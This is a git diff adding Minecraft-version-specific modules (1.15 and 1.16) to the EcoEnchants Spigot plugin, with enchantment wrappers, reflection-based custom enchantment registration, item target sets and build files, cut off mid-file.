+++ b/v1_15_R1/src/main/java/com/willfp/ecoenchants/v1_15_R1/CraftEnchantWrapper.java @@ -0,0 +1,58 @@ +package com.willfp.ecoenchants.v1_15_R1; + +import net.minecraft.server.v1_15_R1.Enchantment; +import org.bukkit.craftbukkit.v1_15_R1.enchantments.CraftEnchantment; +import org.bukkit.enchantments.EnchantmentTarget; +import org.bukkit.inventory.ItemStack; + +public class CraftEnchantWrapper extends CraftEnchantment { + private org.bukkit.enchantments.Enchantment bukkit; + + public CraftEnchantWrapper(Enchantment target, org.bukkit.enchantments.Enchantment bukkit) { + super(target); + this.bukkit = bukkit; + } + + @Override + public String getName() { + return this.bukkit.getName(); + } + + @Override + public int getMaxLevel() { + return this.bukkit.getMaxLevel(); + } + + @Override + public int getStartLevel() { + return this.bukkit.getStartLevel(); + } + + @Override + @Deprecated + public EnchantmentTarget getItemTarget() { + return this.bukkit.getItemTarget(); + } + + @Override + @Deprecated + public boolean isTreasure() { + return this.bukkit.isTreasure(); + } + + @Override + @Deprecated + public boolean isCursed() { + return this.bukkit.isCursed(); + } + + @Override + public boolean conflictsWith(org.bukkit.enchantments.Enchantment enchantment) { + return this.bukkit.conflictsWith(enchantment); + } + + @Override + public boolean canEnchantItem(ItemStack itemStack) { + return this.bukkit.canEnchantItem(itemStack); + } +} diff --git a/v1_15_R1/src/main/java/com/willfp/ecoenchants/v1_15_R1/NMSEnchant.java b/v1_15_R1/src/main/java/com/willfp/ecoenchants/v1_15_R1/NMSEnchant.java new file mode 100644 index 00000000..fd754069 --- /dev/null +++ b/v1_15_R1/src/main/java/com/willfp/ecoenchants/v1_15_R1/NMSEnchant.java @@ -0,0 +1,52 @@ +package com.willfp.ecoenchants.v1_15_R1; + +import net.minecraft.server.v1_15_R1.*; + +public class NMSEnchant extends Enchantment { + private org.bukkit.enchantments.Enchantment enchantment; + + public NMSEnchant(org.bukkit.enchantments.Enchantment enchantment) { + super(Enchantment.Rarity.COMMON, EnchantmentSlotType.BREAKABLE, new EnumItemSlot[]{}); + this.enchantment = enchantment; + } + + public void update(org.bukkit.enchantments.Enchantment enchantment) { + this.enchantment = enchantment; + } + + @Override + public int a(int var0) { + return Short.MAX_VALUE; + } + + @Override + public int getMaxLevel() { + return enchantment.getMaxLevel(); + } + + @Override + public boolean isTreasure() { + return true; + } + + @Override + public boolean c() { + return false; + } + + @Override + public IChatBaseComponent d(int level) { + IChatBaseComponent var1 = new ChatMessage(this.g(), new Object[0]); + if (this.c()) { + var1.a(EnumChatFormat.RED); + } else { + var1.a(EnumChatFormat.GRAY); + } + + if (level != 1 || this.getMaxLevel() != 1) { + var1.a(" ").addSibling(new ChatMessage("enchantment.level." + level, new Object[0])); + } + + return var1; + } +} diff --git a/v1_15_R1/src/main/java/com/willfp/ecoenchants/v1_15_R1/NMSEnchantManager.java b/v1_15_R1/src/main/java/com/willfp/ecoenchants/v1_15_R1/NMSEnchantManager.java new file mode 100644 index 00000000..21cea849 --- /dev/null +++ b/v1_15_R1/src/main/java/com/willfp/ecoenchants/v1_15_R1/NMSEnchantManager.java @@ -0,0 +1,75 @@ +package com.willfp.ecoenchants.v1_15_R1; + +import com.willfp.ecoenchants.API.NMSEnchantManagerWrapper; +import net.minecraft.server.v1_15_R1.Enchantment; +import net.minecraft.server.v1_15_R1.Enchantments; +import net.minecraft.server.v1_15_R1.IRegistry; +import net.minecraft.server.v1_15_R1.MinecraftKey; +import org.bukkit.Bukkit; +import org.bukkit.NamespacedKey; + +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.HashMap; +import java.util.Map; + +public class NMSEnchantManager implements NMSEnchantManagerWrapper { + private Map relatedMap = new HashMap<>(); + + + @Override + public void init(org.bukkit.enchantments.Enchantment enchantment) { + try { + Field byIdField = org.bukkit.enchantments.Enchantment.class.getDeclaredField("byKey"); + Field byNameField = org.bukkit.enchantments.Enchantment.class.getDeclaredField("byName"); + byIdField.setAccessible(true); + byNameField.setAccessible(true); + Map byKey = (Map) byIdField.get(null); + Map byName = (Map) byNameField.get(null); + byKey.remove(enchantment.getKey()); + byName.remove(enchantment.getName()); + + Map byNameClone = new HashMap<>(byName); + for(Map.Entry entry : byNameClone.entrySet()) { + if(entry.getValue().getKey().equals(enchantment.getKey())) { + byName.remove(entry.getKey()); + } + } + + Field f = org.bukkit.enchantments.Enchantment.class.getDeclaredField("acceptingNew"); + f.setAccessible(true); + f.set(null, true); + f.setAccessible(false); + + if(IRegistry.ENCHANTMENT.keySet().contains(new MinecraftKey(enchantment.getKey().getNamespace(), enchantment.getKey().getKey()))) { + byName.put(enchantment.getName(), enchantment); + byKey.put(enchantment.getKey(), enchantment); + if(relatedMap.get(enchantment) != null) { + relatedMap.get(enchantment).update(enchantment); + } + + return; + } + + relatedMap.put(enchantment, new NMSEnchant(enchantment)); + + Enchantment nmsEnchant = new NMSEnchant(enchantment); + + Method method = Enchantments.class.getDeclaredMethod("a", String.class, Enchantment.class); + method.setAccessible(true); + method.invoke(null, enchantment.getKey().getKey(), nmsEnchant); + + CraftEnchantWrapper wrappedEnchantment = new CraftEnchantWrapper(nmsEnchant, enchantment); + + org.bukkit.enchantments.Enchantment.registerEnchantment(wrappedEnchantment); + } catch (NoSuchMethodException | IllegalAccessException | InvocationTargetException | NoSuchFieldException e) { + e.printStackTrace(); + } + } + + @Override + public void debug() { + Bukkit.getLogger().info("IRegistry: " + IRegistry.ENCHANTMENT.keySet().toString()); + } +} diff --git a/v1_15_R1/src/main/java/com/willfp/ecoenchants/v1_15_R1/Target.java b/v1_15_R1/src/main/java/com/willfp/ecoenchants/v1_15_R1/Target.java new file mode 100644 index 00000000..6bef5af3 --- /dev/null +++ b/v1_15_R1/src/main/java/com/willfp/ecoenchants/v1_15_R1/Target.java @@ -0,0 +1,149 @@ +package com.willfp.ecoenchants.v1_15_R1; + +import com.willfp.ecoenchants.API.TargetWrapper; +import org.bukkit.Material; + +import java.util.HashSet; +import java.util.Set; + +public class Target implements TargetWrapper { + + public final Set AXE = new HashSet() {{ + TargetWrapper.AXE.add(Material.WOODEN_AXE); + TargetWrapper.AXE.add(Material.STONE_AXE); + TargetWrapper.AXE.add(Material.IRON_AXE); + TargetWrapper.AXE.add(Material.GOLDEN_AXE); + TargetWrapper.AXE.add(Material.DIAMOND_AXE); + }}; + + public final Set BOOK = new HashSet() {{ + TargetWrapper.BOOK.add(Material.BOOK); + TargetWrapper.BOOK.add(Material.ENCHANTED_BOOK); + }}; + + public final Set PICKAXE = new HashSet() {{ + TargetWrapper.PICKAXE.add(Material.WOODEN_PICKAXE); + TargetWrapper.PICKAXE.add(Material.STONE_PICKAXE); + TargetWrapper.PICKAXE.add(Material.IRON_PICKAXE); + TargetWrapper.PICKAXE.add(Material.GOLDEN_PICKAXE); + TargetWrapper.PICKAXE.add(Material.DIAMOND_PICKAXE); + }}; + + public final Set HOE = new HashSet() {{ + TargetWrapper.HOE.add(Material.WOODEN_HOE); + TargetWrapper.HOE.add(Material.STONE_HOE); + TargetWrapper.HOE.add(Material.IRON_HOE); + TargetWrapper.HOE.add(Material.GOLDEN_HOE); + TargetWrapper.HOE.add(Material.DIAMOND_HOE); + }}; + + public final Set SHOVEL = new HashSet() {{ + TargetWrapper.SHOVEL.add(Material.WOODEN_SHOVEL); + TargetWrapper.SHOVEL.add(Material.STONE_SHOVEL); + TargetWrapper.SHOVEL.add(Material.IRON_SHOVEL); + TargetWrapper.SHOVEL.add(Material.GOLDEN_SHOVEL); + TargetWrapper.SHOVEL.add(Material.DIAMOND_SHOVEL); + }}; + + public final Set SWORD = new HashSet() {{ + TargetWrapper.SWORD.add(Material.WOODEN_SWORD); + TargetWrapper.SWORD.add(Material.STONE_SWORD); + TargetWrapper.SWORD.add(Material.IRON_SWORD); + TargetWrapper.SWORD.add(Material.GOLDEN_SWORD); + TargetWrapper.SWORD.add(Material.DIAMOND_SWORD); + }}; + + public final Set HELMET = new HashSet() {{ + TargetWrapper.HELMET.add(Material.TURTLE_HELMET); + TargetWrapper.HELMET.add(Material.LEATHER_HELMET); + TargetWrapper.HELMET.add(Material.CHAINMAIL_HELMET); + TargetWrapper.HELMET.add(Material.IRON_HELMET); + TargetWrapper.HELMET.add(Material.GOLDEN_HELMET); + TargetWrapper.HELMET.add(Material.DIAMOND_HELMET); + }}; + + public final Set CHESTPLATE = new HashSet() {{ + TargetWrapper.CHESTPLATE.add(Material.LEATHER_CHESTPLATE); + TargetWrapper.CHESTPLATE.add(Material.CHAINMAIL_CHESTPLATE); + TargetWrapper.CHESTPLATE.add(Material.IRON_CHESTPLATE); + TargetWrapper.CHESTPLATE.add(Material.GOLDEN_CHESTPLATE); + TargetWrapper.CHESTPLATE.add(Material.DIAMOND_CHESTPLATE); + }}; + + public final Set LEGGINGS = new HashSet() {{ + TargetWrapper.LEGGINGS.add(Material.LEATHER_LEGGINGS); + TargetWrapper.LEGGINGS.add(Material.CHAINMAIL_LEGGINGS); + TargetWrapper.LEGGINGS.add(Material.IRON_LEGGINGS); + TargetWrapper.LEGGINGS.add(Material.GOLDEN_LEGGINGS); + TargetWrapper.LEGGINGS.add(Material.DIAMOND_LEGGINGS); + }}; + + public final Set BOOTS = new HashSet() {{ + TargetWrapper.BOOTS.add(Material.LEATHER_BOOTS); + TargetWrapper.BOOTS.add(Material.CHAINMAIL_BOOTS); + TargetWrapper.BOOTS.add(Material.IRON_BOOTS); + TargetWrapper.BOOTS.add(Material.GOLDEN_BOOTS); + TargetWrapper.BOOTS.add(Material.DIAMOND_BOOTS); + }}; + + public final Set ELYTRA = new HashSet() {{ + TargetWrapper.ELYTRA.add(Material.ELYTRA); + }}; + + public final Set BOW = new HashSet() {{ + TargetWrapper.BOW.add(Material.BOW); + }}; + + public final Set CROSSBOW = new HashSet() {{ + TargetWrapper.CROSSBOW.add(Material.CROSSBOW); + }}; + + public final Set SHEARS = new HashSet() {{ + TargetWrapper.SHEARS.add(Material.SHEARS); + }}; + + public final Set TRIDENT = new HashSet() {{ + TargetWrapper.TRIDENT.add(Material.TRIDENT); + }}; + + public final Set SHIELD = new HashSet() {{ + TargetWrapper.SHIELD.add(Material.SHIELD); + }}; + + public final Set ROD = new HashSet() {{ + TargetWrapper.ROD.add(Material.FISHING_ROD); + }}; + + + public final Set TOOL = new HashSet() {{ + TargetWrapper.TOOL.addAll(TargetWrapper.AXE); + TargetWrapper.TOOL.addAll(TargetWrapper.PICKAXE); + TargetWrapper.TOOL.addAll(TargetWrapper.SHOVEL); + TargetWrapper.TOOL.addAll(TargetWrapper.HOE); + TargetWrapper.TOOL.addAll(TargetWrapper.SHEARS); + }}; + + public final Set ARMOR = new HashSet() {{ + TargetWrapper.ARMOR.addAll(TargetWrapper.HELMET); + TargetWrapper.ARMOR.addAll(TargetWrapper.CHESTPLATE); + TargetWrapper.ARMOR.addAll(TargetWrapper.LEGGINGS); + TargetWrapper.ARMOR.addAll(TargetWrapper.BOOTS); + }}; + + public final Set ALL = new HashSet() {{ + TargetWrapper.ALL.addAll(TargetWrapper.TOOL); + TargetWrapper.ALL.addAll(TargetWrapper.ARMOR); + TargetWrapper.ALL.addAll(TargetWrapper.TRIDENT); + TargetWrapper.ALL.addAll(TargetWrapper.SHIELD); + TargetWrapper.ALL.addAll(TargetWrapper.BOW); + TargetWrapper.ALL.addAll(TargetWrapper.CROSSBOW); + TargetWrapper.ALL.addAll(TargetWrapper.ROD); + TargetWrapper.ALL.addAll(TargetWrapper.BOOK); + TargetWrapper.ALL.addAll(TargetWrapper.SWORD); + TargetWrapper.ALL.addAll(TargetWrapper.ELYTRA); + }}; + + public Target() { + + } +} diff --git a/v1_15_R1/src/main/java/com/willfp/ecoenchants/v1_15_R1/TridentStack.java b/v1_15_R1/src/main/java/com/willfp/ecoenchants/v1_15_R1/TridentStack.java new file mode 100644 index 00000000..855f71a3 --- /dev/null +++ b/v1_15_R1/src/main/java/com/willfp/ecoenchants/v1_15_R1/TridentStack.java @@ -0,0 +1,16 @@ +package com.willfp.ecoenchants.v1_15_R1; + +import com.willfp.ecoenchants.API.TridentStackWrapper; +import net.minecraft.server.v1_15_R1.EntityThrownTrident; +import org.bukkit.craftbukkit.v1_15_R1.entity.CraftTrident; +import org.bukkit.craftbukkit.v1_15_R1.inventory.CraftItemStack; +import org.bukkit.entity.Trident; +import org.bukkit.inventory.ItemStack; + +public class TridentStack implements TridentStackWrapper { + @Override + public ItemStack getTridentStack(Trident trident) { + EntityThrownTrident t = ((CraftTrident) trident).getHandle(); + return CraftItemStack.asBukkitCopy(t.trident); + } +} \ No newline at end of file diff --git a/v1_15_R1/v1_15_R1.iml b/v1_15_R1/v1_15_R1.iml new file mode 100644 index 00000000..f8dbe24a --- /dev/null +++ b/v1_15_R1/v1_15_R1.iml @@ -0,0 +1,33 @@ + + + + + + + SPIGOT + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/v1_16_R1/pom.xml b/v1_16_R1/pom.xml new file mode 100644 index 00000000..5b193acc --- /dev/null +++ b/v1_16_R1/pom.xml @@ -0,0 +1,38 @@ + + + + parent + com.willfp.ecoenchants + 4.1.0-pre10 + + 4.0.0 + + v1_16_R1 + + + ${project.parent.basedir} + + + + + com.willfp.ecoenchants + API + ${project.parent.version} + compile + + + org.spigotmc + spigot-api + 1.16.1-R0.1-SNAPSHOT + provided + + + org.spigotmc + spigot + 1.16.1-R0.1-SNAPSHOT + provided + + + \ No newline at end of file diff --git a/v1_16_R1/src/main/java/com/willfp/ecoenchants/v1_16_R1/BlockBreak.java b/v1_16_R1/src/main/java/com/willfp/ecoenchants/v1_16_R1/BlockBreak.java new file mode 100644 index 00000000..fb1e6311 --- /dev/null +++ b/v1_16_R1/src/main/java/com/willfp/ecoenchants/v1_16_R1/BlockBreak.java @@ -0,0 +1,14 @@ +package com.willfp.ecoenchants.v1_16_R1; + +import com.willfp.ecoenchants.API.BlockBreakWrapper; +import net.minecraft.server.v1_16_R1.BlockPosition; +import org.bukkit.block.Block; +import org.bukkit.craftbukkit.v1_16_R1.entity.CraftPlayer; +import org.bukkit.entity.Player; + +public class BlockBreak implements BlockBreakWrapper { + @Override + public void breakBlock(Player player, Block block) { + ((CraftPlayer)player).getHandle().playerInteractManager.breakBlock(new BlockPosition(block.getX(), block.getY(), block.getZ())); + } +} diff --git a/v1_16_R1/src/main/java/com/willfp/ecoenchants/v1_16_R1/Cooldown.java b/v1_16_R1/src/main/java/com/willfp/ecoenchants/v1_16_R1/Cooldown.java new file mode 100644 index 00000000..bbeed521 --- /dev/null +++ b/v1_16_R1/src/main/java/com/willfp/ecoenchants/v1_16_R1/Cooldown.java @@ -0,0 +1,11 @@ +package com.willfp.ecoenchants.v1_16_R1; + +import com.willfp.ecoenchants.API.CooldownWrapper; +import org.bukkit.entity.Player; + +public class Cooldown implements CooldownWrapper { + @Override + public double getAttackCooldown(Player player) { + return player.getAttackCooldown(); + } +} diff --git a/v1_16_R1/src/main/java/com/willfp/ecoenchants/v1_16_R1/CraftEnchantWrapper.java b/v1_16_R1/src/main/java/com/willfp/ecoenchants/v1_16_R1/CraftEnchantWrapper.java new file mode 100644 index 00000000..84988064 --- /dev/null +++ b/v1_16_R1/src/main/java/com/willfp/ecoenchants/v1_16_R1/CraftEnchantWrapper.java @@ -0,0 +1,58 @@ +package com.willfp.ecoenchants.v1_16_R1; + +import net.minecraft.server.v1_16_R1.Enchantment; +import org.bukkit.craftbukkit.v1_16_R1.enchantments.CraftEnchantment; +import org.bukkit.enchantments.EnchantmentTarget; +import org.bukkit.inventory.ItemStack; + +public class CraftEnchantWrapper extends CraftEnchantment { + private org.bukkit.enchantments.Enchantment bukkit; + + public CraftEnchantWrapper(Enchantment target, org.bukkit.enchantments.Enchantment bukkit) { + super(target); + this.bukkit = bukkit; + } + + @Override + public String getName() { + return this.bukkit.getName(); + } + + @Override + public int getMaxLevel() { + return this.bukkit.getMaxLevel(); + } + + @Override + public int getStartLevel() { + return this.bukkit.getStartLevel(); + } + + @Override + @Deprecated + public EnchantmentTarget getItemTarget() { + return this.bukkit.getItemTarget(); + } + + @Override + @Deprecated + public boolean isTreasure() { + return this.bukkit.isTreasure(); + } + + @Override + @Deprecated + public boolean isCursed() { + return this.bukkit.isCursed(); + } + + @Override + public boolean conflictsWith(org.bukkit.enchantments.Enchantment enchantment) { + return this.bukkit.conflictsWith(enchantment); + } + + @Override + public boolean canEnchantItem(ItemStack itemStack) { + return this.bukkit.canEnchantItem(itemStack); + } +} diff --git a/v1_16_R1/src/main/java/com/willfp/ecoenchants/v1_16_R1/NMSEnchant.java b/v1_16_R1/src/main/java/com/willfp/ecoenchants/v1_16_R1/NMSEnchant.java new file mode 100644 index 00000000..b1ce1da0 --- /dev/null +++ b/v1_16_R1/src/main/java/com/willfp/ecoenchants/v1_16_R1/NMSEnchant.java @@ -0,0 +1,58 @@ +package com.willfp.ecoenchants.v1_16_R1; + +import net.minecraft.server.v1_16_R1.*; + +public class NMSEnchant extends Enchantment { + private org.bukkit.enchantments.Enchantment enchantment; + + public NMSEnchant(org.bukkit.enchantments.Enchantment enchantment) { + super(Enchantment.Rarity.COMMON, EnchantmentSlotType.BREAKABLE, new EnumItemSlot[]{}); + this.enchantment = enchantment; + } + + public void update(org.bukkit.enchantments.Enchantment enchantment) { + this.enchantment = enchantment; + } + + @Override + public int a(int var0) { + return Short.MAX_VALUE; + } + + @Override + public int getMaxLevel() { + return enchantment.getMaxLevel(); + } + + @Override + public boolean isTreasure() { + return true; + } + + @Override + public boolean c() { + return false; + } + + @Override + public boolean h() { + return false; + } + + @Override + public boolean i() { + return false; + } + + @Override + public IChatBaseComponent d(int level) { + IChatMutableComponent var1 = new ChatMessage(enchantment.getName()); + var1.a(EnumChatFormat.WHITE); + + if (level != 1 || this.getMaxLevel() != 1) { + var1.c(" ").addSibling(new ChatMessage("enchantment.level." + level)); + } + + return var1; + } +} diff --git a/v1_16_R1/src/main/java/com/willfp/ecoenchants/v1_16_R1/NMSEnchantManager.java b/v1_16_R1/src/main/java/com/willfp/ecoenchants/v1_16_R1/NMSEnchantManager.java new file mode 100644 index 00000000..5065283c --- /dev/null +++ b/v1_16_R1/src/main/java/com/willfp/ecoenchants/v1_16_R1/NMSEnchantManager.java @@ -0,0 +1,75 @@ +package com.willfp.ecoenchants.v1_16_R1; + +import com.willfp.ecoenchants.API.NMSEnchantManagerWrapper; +import net.minecraft.server.v1_16_R1.Enchantment; +import net.minecraft.server.v1_16_R1.Enchantments; +import net.minecraft.server.v1_16_R1.IRegistry; +import net.minecraft.server.v1_16_R1.MinecraftKey; +import org.bukkit.Bukkit; +import org.bukkit.NamespacedKey; + +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.HashMap; +import java.util.Map; + +public class NMSEnchantManager implements NMSEnchantManagerWrapper { + private Map relatedMap = new HashMap<>(); + + + @Override + public void init(org.bukkit.enchantments.Enchantment enchantment) { + try { + Field byIdField = org.bukkit.enchantments.Enchantment.class.getDeclaredField("byKey"); + Field byNameField = org.bukkit.enchantments.Enchantment.class.getDeclaredField("byName"); + byIdField.setAccessible(true); + byNameField.setAccessible(true); + Map byKey = (Map) byIdField.get(null); + Map byName = (Map) byNameField.get(null); + byKey.remove(enchantment.getKey()); + byName.remove(enchantment.getName()); + + Map byNameClone = new HashMap<>(byName); + for(Map.Entry entry : byNameClone.entrySet()) { + if(entry.getValue().getKey().equals(enchantment.getKey())) { + byName.remove(entry.getKey()); + } + } + + Field f = org.bukkit.enchantments.Enchantment.class.getDeclaredField("acceptingNew"); + f.setAccessible(true); + f.set(null, true); + f.setAccessible(false); + + if(IRegistry.ENCHANTMENT.keySet().contains(new MinecraftKey(enchantment.getKey().getNamespace(), enchantment.getKey().getKey()))) { + byName.put(enchantment.getName(), enchantment); + byKey.put(enchantment.getKey(), enchantment); + if(relatedMap.get(enchantment) != null) { + relatedMap.get(enchantment).update(enchantment); + } + + return; + } + + relatedMap.put(enchantment, new NMSEnchant(enchantment)); + + Enchantment nmsEnchant = new NMSEnchant(enchantment); + + Method method = Enchantments.class.getDeclaredMethod("a", String.class, Enchantment.class); + method.setAccessible(true); + method.invoke(null, enchantment.getKey().getKey(), nmsEnchant); + + CraftEnchantWrapper wrappedEnchantment = new CraftEnchantWrapper(nmsEnchant, enchantment); + + org.bukkit.enchantments.Enchantment.registerEnchantment(wrappedEnchantment); + } catch (NoSuchMethodException | IllegalAccessException | InvocationTargetException | NoSuchFieldException e) { + e.printStackTrace(); + } + } + + @Override + public void debug() { + Bukkit.getLogger().info("IRegistry: " + IRegistry.ENCHANTMENT.keySet().toString()); + } +} diff --git a/v1_16_R1/src/main/java/com/willfp/ecoenchants/v1_16_R1/Target.java b/v1_16_R1/src/main/java/com/willfp/ecoenchants/v1_16_R1/Target.java new file mode 100644 index 00000000..2d765e84 --- /dev/null +++ b/v1_16_R1/src/main/java/com/willfp/ecoenchants/v1_16_R1/Target.java @@ -0,0 +1,158 @@ +package com.willfp.ecoenchants.v1_16_R1; + +import com.willfp.ecoenchants.API.TargetWrapper; +import org.bukkit.Material; + +import java.util.HashSet; +import java.util.Set; + +public class Target implements TargetWrapper { + + public final Set AXE = new HashSet() {{ + TargetWrapper.AXE.add(Material.WOODEN_AXE); + TargetWrapper.AXE.add(Material.STONE_AXE); + TargetWrapper.AXE.add(Material.IRON_AXE); + TargetWrapper.AXE.add(Material.GOLDEN_AXE); + TargetWrapper.AXE.add(Material.DIAMOND_AXE); + TargetWrapper.AXE.add(Material.NETHERITE_AXE); + }}; + + public final Set BOOK = new HashSet() {{ + TargetWrapper.BOOK.add(Material.BOOK); + TargetWrapper.BOOK.add(Material.ENCHANTED_BOOK); + }}; + + public final Set PICKAXE = new HashSet() {{ + TargetWrapper.PICKAXE.add(Material.WOODEN_PICKAXE); + TargetWrapper.PICKAXE.add(Material.STONE_PICKAXE); + TargetWrapper.PICKAXE.add(Material.IRON_PICKAXE); + TargetWrapper.PICKAXE.add(Material.GOLDEN_PICKAXE); + TargetWrapper.PICKAXE.add(Material.DIAMOND_PICKAXE); + TargetWrapper.PICKAXE.add(Material.NETHERITE_PICKAXE); + }}; + + public final Set HOE = new HashSet() {{ + TargetWrapper.HOE.add(Material.WOODEN_HOE); + TargetWrapper.HOE.add(Material.STONE_HOE); + TargetWrapper.HOE.add(Material.IRON_HOE); + TargetWrapper.HOE.add(Material.GOLDEN_HOE); + TargetWrapper.HOE.add(Material.DIAMOND_HOE); + TargetWrapper.HOE.add(Material.NETHERITE_HOE); + }}; + + public final Set SHOVEL = new HashSet() {{ + TargetWrapper.SHOVEL.add(Material.WOODEN_SHOVEL); + TargetWrapper.SHOVEL.add(Material.STONE_SHOVEL); + TargetWrapper.SHOVEL.add(Material.IRON_SHOVEL); + TargetWrapper.SHOVEL.add(Material.GOLDEN_SHOVEL); + TargetWrapper.SHOVEL.add(Material.DIAMOND_SHOVEL); + TargetWrapper.SHOVEL.add(Material.NETHERITE_SHOVEL); + }}; + + public final Set SWORD = new HashSet() {{ + TargetWrapper.SWORD.add(Material.WOODEN_SWORD); + TargetWrapper.SWORD.add(Material.STONE_SWORD); + TargetWrapper.SWORD.add(Material.IRON_SWORD); + TargetWrapper.SWORD.add(Material.GOLDEN_SWORD); + TargetWrapper.SWORD.add(Material.DIAMOND_SWORD); + TargetWrapper.SWORD.add(Material.NETHERITE_SWORD); + }}; + + public final Set HELMET = new HashSet() {{ + TargetWrapper.HELMET.add(Material.TURTLE_HELMET); + TargetWrapper.HELMET.add(Material.LEATHER_HELMET); + TargetWrapper.HELMET.add(Material.CHAINMAIL_HELMET); + TargetWrapper.HELMET.add(Material.IRON_HELMET); + TargetWrapper.HELMET.add(Material.GOLDEN_HELMET); + TargetWrapper.HELMET.add(Material.DIAMOND_HELMET); + TargetWrapper.HELMET.add(Material.NETHERITE_HELMET); + }}; + + public final Set CHESTPLATE = new HashSet() {{ + TargetWrapper.CHESTPLATE.add(Material.LEATHER_CHESTPLATE); + TargetWrapper.CHESTPLATE.add(Material.CHAINMAIL_CHESTPLATE); + TargetWrapper.CHESTPLATE.add(Material.IRON_CHESTPLATE); + TargetWrapper.CHESTPLATE.add(Material.GOLDEN_CHESTPLATE); + TargetWrapper.CHESTPLATE.add(Material.DIAMOND_CHESTPLATE); + TargetWrapper.CHESTPLATE.add(Material.NETHERITE_CHESTPLATE); + }}; + + public final Set LEGGINGS = new HashSet() {{ + TargetWrapper.LEGGINGS.add(Material.LEATHER_LEGGINGS); + TargetWrapper.LEGGINGS.add(Material.CHAINMAIL_LEGGINGS); + TargetWrapper.LEGGINGS.add(Material.IRON_LEGGINGS); + TargetWrapper.LEGGINGS.add(Material.GOLDEN_LEGGINGS); + TargetWrapper.LEGGINGS.add(Material.DIAMOND_LEGGINGS); + TargetWrapper.LEGGINGS.add(Material.NETHERITE_LEGGINGS); + }}; + + public final Set BOOTS = new HashSet() {{ + TargetWrapper.BOOTS.add(Material.LEATHER_BOOTS); + TargetWrapper.BOOTS.add(Material.CHAINMAIL_BOOTS); + TargetWrapper.BOOTS.add(Material.IRON_BOOTS); + TargetWrapper.BOOTS.add(Material.GOLDEN_BOOTS); + TargetWrapper.BOOTS.add(Material.DIAMOND_BOOTS); + TargetWrapper.BOOTS.add(Material.NETHERITE_BOOTS); + }}; + + public final Set ELYTRA = new HashSet() {{ + TargetWrapper.ELYTRA.add(Material.ELYTRA); + }}; + + public final Set BOW = new HashSet() {{ + TargetWrapper.BOW.add(Material.BOW); + }}; + + public final Set CROSSBOW = new HashSet() {{ + TargetWrapper.CROSSBOW.add(Material.CROSSBOW); + }}; + + public final Set SHEARS = new HashSet() {{ + TargetWrapper.SHEARS.add(Material.SHEARS); + }}; + + public final Set TRIDENT = new HashSet() {{ + TargetWrapper.TRIDENT.add(Material.TRIDENT); + }}; + + public final Set SHIELD = new HashSet() {{ + TargetWrapper.SHIELD.add(Material.SHIELD); + }}; + + public final Set ROD = new HashSet() {{ + TargetWrapper.ROD.add(Material.FISHING_ROD); + }}; + + + public final Set TOOL = new HashSet() {{ + TargetWrapper.TOOL.addAll(TargetWrapper.AXE); + TargetWrapper.TOOL.addAll(TargetWrapper.PICKAXE); + TargetWrapper.TOOL.addAll(TargetWrapper.SHOVEL); + TargetWrapper.TOOL.addAll(TargetWrapper.HOE); + TargetWrapper.TOOL.addAll(TargetWrapper.SHEARS); + }}; + + public final Set ARMOR = new HashSet() {{ + TargetWrapper.ARMOR.addAll(TargetWrapper.HELMET); + TargetWrapper.ARMOR.addAll(TargetWrapper.CHESTPLATE); + TargetWrapper.ARMOR.addAll(TargetWrapper.LEGGINGS); + TargetWrapper.ARMOR.addAll(TargetWrapper.BOOTS); + }}; + + public final Set ALL = new HashSet() {{ + TargetWrapper.ALL.addAll(TargetWrapper.TOOL); + TargetWrapper.ALL.addAll(TargetWrapper.ARMOR); + TargetWrapper.ALL.addAll(TargetWrapper.TRIDENT); + TargetWrapper.ALL.addAll(TargetWrapper.SHIELD); + TargetWrapper.ALL.addAll(TargetWrapper.BOW); + TargetWrapper.ALL.addAll(TargetWrapper.CROSSBOW); + TargetWrapper.ALL.addAll(TargetWrapper.ROD); + TargetWrapper.ALL.addAll(TargetWrapper.BOOK); + TargetWrapper.ALL.addAll(TargetWrapper.SWORD); + TargetWrapper.ALL.addAll(TargetWrapper.ELYTRA); + }}; + + public Target() { + + } +} diff --git a/v1_16_R1/src/main/java/com/willfp/ecoenchants/v1_16_R1/TridentStack.java b/v1_16_R1/src/main/java/com/willfp/ecoenchants/v1_16_R1/TridentStack.java new file mode 100644 index 00000000..1aea3eee --- /dev/null +++ b/v1_16_R1/src/main/java/com/willfp/ecoenchants/v1_16_R1/TridentStack.java @@ -0,0 +1,16 @@ +package com.willfp.ecoenchants.v1_16_R1; + +import com.willfp.ecoenchants.API.TridentStackWrapper; +import net.minecraft.server.v1_16_R1.EntityThrownTrident; +import org.bukkit.craftbukkit.v1_16_R1.entity.CraftTrident; +import org.bukkit.craftbukkit.v1_16_R1.inventory.CraftItemStack; +import org.bukkit.entity.Trident; +import org.bukkit.inventory.ItemStack; + +public class TridentStack implements TridentStackWrapper { + @Override + public ItemStack getTridentStack(Trident trident) { + EntityThrownTrident t = ((CraftTrident) trident).getHandle(); + return CraftItemStack.asBukkitCopy(t.trident); + } +} \ No newline at end of file diff --git a/v1_16_R1/v1_16_R1.iml b/v1_16_R1/v1_16_R1.iml new file mode 100644 index 00000000..57a46856 --- /dev/null +++ b/v1_16_R1/v1_16_R1.iml @@ -0,0 +1,33 @@ + + + + + + + SPIGOT + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/v1_16_R2/pom.xml b/v1_16_R2/pom.xml new file mode 100644 index 00000000..b01070ae --- /dev/null +++ b/v1_16_R2/pom.xml @@ -0,0 +1,38 @@ + + + + parent + com.willfp.ecoenchants + 4.1.0-pre10 + + 4.0.0 + + v1_16_R2 + + + ${project.parent.basedir} + + + + + com.willfp.ecoenchants + API + ${project.parent.version} + compile + + + org.spigotmc + spigot-api + 1.16.2-R0.1-SNAPSHOT + provided + + + org.spigotmc + spigot + 1.16.2-R0.1-SNAPSHOT + provided + + + \ No newline at end of file diff --git a/v1_16_R2/src/main/java/com/willfp/ecoenchants/v1_16_R2/BlockBreak.java b/v1_16_R2/src/main/java/com/willfp/ecoenchants/v1_16_R2/BlockBreak.java new file mode 100644 index 00000000..19416eda --- /dev/null +++ b/v1_16_R2/src/main/java/com/willfp/ecoenchants/v1_16_R2/BlockBreak.java @@ -0,0 +1,14 @@ +package com.willfp.ecoenchants.v1_16_R2; + +import com.willfp.ecoenchants.API.BlockBreakWrapper; +import 